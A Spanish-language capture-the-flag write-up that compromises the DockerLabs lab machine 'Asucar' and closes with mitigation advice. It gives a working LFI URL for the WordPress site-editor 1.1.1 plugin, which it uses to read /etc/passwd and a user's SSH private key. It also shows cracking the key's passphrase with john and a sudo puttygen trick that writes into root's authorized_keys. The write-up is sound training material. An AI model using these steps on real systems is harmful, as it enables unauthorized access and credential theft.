Asucar

Introducción

Este documento describe de forma detallada la metodología y el procedimiento completo para comprometer la máquina Asucar, desarrollada por El Pingüino de Mario para DockerLabs y clasificada con una dificultad Media.

La resolución sigue un enfoque estructurado de pentesting, dividido en las siguientes fases:

1. Reconocimiento: Identificación de servicios expuestos y enumeración de recursos accesibles.
2. Explotación: Obtención de acceso inicial mediante la explotación de una vulnerabilidad LFI en un plugin vulnerable de WordPress y el uso de credenciales SSH expuestas.
3. Escalada de privilegios: Abuso de configuraciones inseguras en sudo mediante la ejecución privilegiada de puttygen para obtener acceso root.

El entorno de prueba fue desplegado localmente mediante DockerLabs, garantizando un ambiente aislado, controlado y reproducible.

---

Información Técnica

Atributo	Valor
Nombre	Asucar
Autor	The Hackers Labs
Dificultad	Medio
Fecha	12/05/2024
Plataforma	DockerLabs
IP Objetivo	172.17.0.2

---

Fase 1 — Despliegue y Configuración

1.1 Preparación del Entorno

Descomprimimos el archivo de la máquina y la desplegamos utilizando el script proporcionado:

unzip Asucar.zip
sudo bash auto_deploy.sh Asucar.tar

Figura 1: Dirección IP asignada al contenedor

1.2 Organización del Workspace

Creamos una estructura de directorios organizada para almacenar escaneos, exploits y evidencias durante el proceso:

mkdir -p Asucar/{content,exploits,nmap,scripts}
cd Asucar

---

Fase 2 — Reconocimiento

2.1 Escaneo de Puertos

Ejecutamos un escaneo TCP SYN para identificar todos los puertos abiertos en la máquina objetivo:

nmap -p- --open -sS --min-rate 5000 -vvv -n 172.17.0.2 -oG allPorts
extractPorts allPorts

Resultados:

• 22/tcp — SSH
• 80/tcp — HTTP

Figura 2: Puertos identificados como abiertos

---

2.2 Enumeración Web

Realizamos un escaneo de directorios y archivos web utilizando feroxbuster:

feroxbuster -u http://172.17.0.2/ \
  -w /usr/share/seclists/Discovery/Web-Content/DirBuster-2007_directory-list-2.3-big.txt \
  -x php,html,txt,js,json -t 100 -C 404

Este escaneo detecta distintos directorios utilizados por WordPress. No se identifica contenido especialmente relevante en esta etapa, salvo que el contenido del index no se carga correctamente. Al detectar el dominio asucar.dl, lo agregamos a nuestro archivo /etc/hosts.

Posteriormente, continuamos con un escaneo utilizando wpscan:

wpscan --url http://asucar.dl --detection-mode aggressive -e ap,at,u -t 32

Con este escaneo identificamos el usuario predeterminado wordpress:

Y, lo más interesante, detectamos un plugin llamado site-editor:

Al revisar su versión (1.1.1) con searchsploit, identificamos que es vulnerable a un LFI (Local File Inclusion):

---

Fase 3 — Acceso Inicial

Al revisar más a fondo el CVE asociado a esta vulnerabilidad, identificamos que su explotación es bastante sencilla, ya que solo es necesario acceder a la siguiente URL:

http://asucar.dl/wp-content/plugins/site-editor/editor/extensions/pagebuilder/includes/ajax_shortcode_pattern.php?ajax_path=/etc/passwd

Esto nos permite obtener directamente el contenido del archivo:

Aquí identificamos el usuario curiosito. Antes de intentar explotar otra vulnerabilidad, decidimos enumerar el contenido del directorio HOME del usuario, específicamente el archivo /home/curiosito/.ssh/id_rsa. Este archivo nos proporciona una clave privada para autenticarnos por SSH.

Guardamos la clave, pero al intentar utilizarla para conectarnos, observamos que está protegida por una frase de paso (passphrase).

Por ello, utilizamos john para crackearla:

ssh2john rsa > rsa.hash
john --wordlist=/usr/share/wordlists/rockyou.txt rsa.hash

Tras una breve espera, obtenemos el resultado:

Con la frase de la clave obtenida, procedemos a conectarnos por SSH:

ssh -i rsa curiosito@172.17.0.2

Y logramos obtener acceso a la máquina:

---

Fase 4 — Escalada de Privilegios

4.1 De Curiosito → Root

Lo primero que hacemos es listar los permisos con sudo -l:

Esto nos indica que podemos ejecutar el binario puttygen con permisos de root. Aprovechando esto, podemos generar un par de claves SSH y añadir nuestra clave pública a los authorized keys de root, permitiéndonos autenticarnos sin contraseña.

Primero generamos una clave RSA:

puttygen -t rsa -o id_rsa -O private-openssh

Luego, guardamos la clave pública en las claves autorizadas de root:

sudo puttygen id_rsa -o /root/.ssh/authorized_keys -O public-openssh

Finalmente, asignamos los permisos adecuados y nos conectamos como root por SSH:

chmod 600 id_rsa
ssh -i id_rsa root@127.0.0.1

Con esto, obtenemos acceso con privilegios de administrador:

---

Análisis de Vulnerabilidades

5.1 Fallos de Seguridad Identificados

Vulnerabilidad	Severidad	Impacto
Plugin site-editor vulnerable a LFI	Crítica	Lectura de archivos sensibles del sistema
Exposición de archivos .ssh vía LFI	Crítica	Obtención de claves privadas SSH
Uso de claves SSH protegidas con passphrase débil	Alta	Acceso no autorizado por fuerza bruta
Permisos inseguros en sudo (puttygen)	Crítica	Escalada de privilegios a root
Falta de hardening en WordPress	Media	Aumento de superficie de ataque

---

5.2 Recomendaciones de Mitigación

Para reducir la superficie de ataque y mitigar las vulnerabilidades identificadas en la máquina Asucar, se recomiendan las siguientes acciones:

• Fortalecimiento de credenciales: Implementar políticas de contraseñas robustas, evitando el uso de contraseñas débiles o reutilizadas entre servicios. Se recomienda el uso de gestores de contraseñas y autenticación basada en claves cuando sea posible.

• Actualización y mantenimiento de WordPress: Mantener el core de WordPress, temas y plugins siempre actualizados. En particular, eliminar o actualizar plugins vulnerables como site-editor, especialmente cuando existen CVEs públicos asociados.

• Restricción de inclusión de archivos (LFI): Validar y sanitizar adecuadamente cualquier entrada de usuario utilizada para la carga de archivos o rutas, evitando el uso directo de parámetros que permitan incluir archivos del sistema.

• Protección de claves privadas: Asegurar que los archivos sensibles como claves SSH privadas no sean accesibles desde servicios web. Además, limitar los permisos de lectura únicamente al propietario del archivo.

• Configuración segura de sudo: Restringir el uso de binarios privilegiados mediante sudo, evitando permitir herramientas que puedan ser abusadas para escalar privilegios, como puttygen. Aplicar el principio de mínimo privilegio.

• Auditoría de permisos del sistema: Revisar periódicamente permisos SUID/SGID y configuraciones especiales que puedan facilitar escaladas de privilegios no autorizadas.